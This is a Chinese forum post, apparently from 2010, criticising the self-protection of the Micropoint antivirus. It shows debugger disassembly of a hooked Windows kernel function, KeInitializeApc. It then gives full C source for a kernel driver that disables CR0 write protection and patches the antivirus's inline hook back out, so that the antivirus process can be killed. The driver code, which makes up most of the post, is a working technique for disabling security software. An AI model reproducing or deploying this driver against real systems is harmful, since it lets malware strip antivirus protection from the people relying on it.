点饭的百度空间
银牌会员
     
积分 2315
发帖 2236
注册 2007-11-30
|
#1 [sbasm] 打电玩之前,简单说下微点杀毒~~
微点杀毒的6大核心反病毒技术 个人感觉好像是在欺骗用户~~
这个是在保护方面,在扫描方面,简单的ring3蹲坑它就哑了。微点杀毒还有很长的路要走。

2010-05-06
微点出杀毒了,网上down了一份下来看了下,才发现在保护方面只挂了KeInitializeApc一个函数,貌似几个月前就有人分析了:http://www.debugman.com/read.php?tid=4669。微点杀毒也没有用多少WS的法子,恢复inline hook之后,任务管理器直接就可以结束进程,不知道微点的开发人员处于什么样的理由不多做点保护,如果处于稳定性的原因,那也太囧~~~
另外,微点杀毒不做驱动加载拦截的原因,估计是想以主动为主,杀毒为辅的配套组合,拦截驱动加载已经在微点主动防御软件里完成,所以没有必须在杀毒里多此一举了~~
lkd> u KeInitializeApc l 13
nt!KeInitializeApc:
804fba46 8bff mov edi,edi
804fba48 55 push ebp
804fba49 8bec mov ebp,esp
804fba4b 8b4508 mov eax,dword ptr [ebp+8]
804fba4e 8b5510 mov edx,dword ptr [ebp+10h]
804fba51 83fa02 cmp edx,2
804fba54 8b4d0c mov ecx,dword ptr [ebp+0Ch]
804fba57 66c7001200 mov word ptr [eax],12h
804fba5c 66c740023000 mov word ptr [eax+2],30h
804fba62 7506 jne nt!KeInitializeApc+0x24 (804fba6a)
804fba64 8a9165010000 mov dl,byte ptr [ecx+165h]
804fba6a 90 nop
804fba6b e800492d77 call f77d0370
挂钩之后:
lkd> u KeInitializeApc l 13
nt!KeInitializeApc:
804fba46 8bff mov edi,edi
804fba48 55 push ebp
804fba49 8bec mov ebp,esp
804fba4b 8b4508 mov eax,dword ptr [ebp+8]
804fba4e 8b5510 mov edx,dword ptr [ebp+10h]
804fba51 83fa02 cmp edx,2
804fba54 8b4d0c mov ecx,dword ptr [ebp+0Ch]
804fba57 66c7001200 mov word ptr [eax],12h
804fba5c 66c740023000 mov word ptr [eax+2],30h
804fba62 7506 jne nt!KeInitializeApc+0x24 (804fba6a)
804fba64 8a9165010000 mov dl,byte ptr [ecx+165h]
804fba6a 894808 mov dword ptr [eax+8],ecx
804fba6d 8b4d14 mov ecx,dword ptr [ebp+14h]
恢复hook也挺简单:
#include <ntddk.h>
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef unsigned char BYTE;
VOID FFCON()
{
_asm
{
CLI ;
MOV EAX, CR0 ;
AND EAX, NOT 10000H ;
MOV CR0, EAX;
}
}
VOID FFCoff()
{
_asm
{
MOV EAX, CR0;
OR EAX, 10000H;
MOV CR0, EAX ;
STI;
}
}
BOOL RemoveMAPInlineHook()
{
UNICODE_STRING functionName;
DWORD ApcFunctionAddress;
BYTE lpHook[1] = {0x90}; //特征码
BYTE lpHookCheck[1] = {0};
BYTE lpHookCode[6] = {0x89,0x48,0x08,0x8b,0x4d,0x14}; //被微点pass了的代码
DWORD i;
RtlInitUnicodeString(&functionName,L"KeInitializeApc");
ApcFunctionAddress = (DWORD)MmGetSystemRoutineAddress(&functionName);
if(ApcFunctionAddress == 0)
{
DbgPrint("get KeInitializeApc Function address fialed\n");
return FALSE;
}
DbgPrint("0x%x",ApcFunctionAddress);
for (i=ApcFunctionAddress;i<ApcFunctionAddress+PAGE_SIZE;i++)
{
memcpy(lpHookCheck,(PVOID)i,1);
if (memcmp(lpHookCheck,lpHook,1) == 0)
{
DbgPrint("Found : 0x%x",i);
FFCON();
memcpy((PVOID)i,lpHookCode,6); //恢复inline hook
FFCoff();
return TRUE;
}
}
DbgPrint("Can't Found MAPV\r\n");
return FALSE;
}
NTSTATUS DriverUnload(
IN PDRIVER_OBJECT DriverObject
)
{
DbgPrint("驱动已经被卸载了\n");
return STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
DbgPrint("Hello World\n");
DriverObject->DriverUnload = DriverUnload;
RemoveMAPInlineHook();
return STATUS_SUCCESS;
}
然后任务管理器就可以直接结束了~~
PS:打电玩去,最近“拳皇97”老TMD被人虐~~
| |
※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint |
 |
|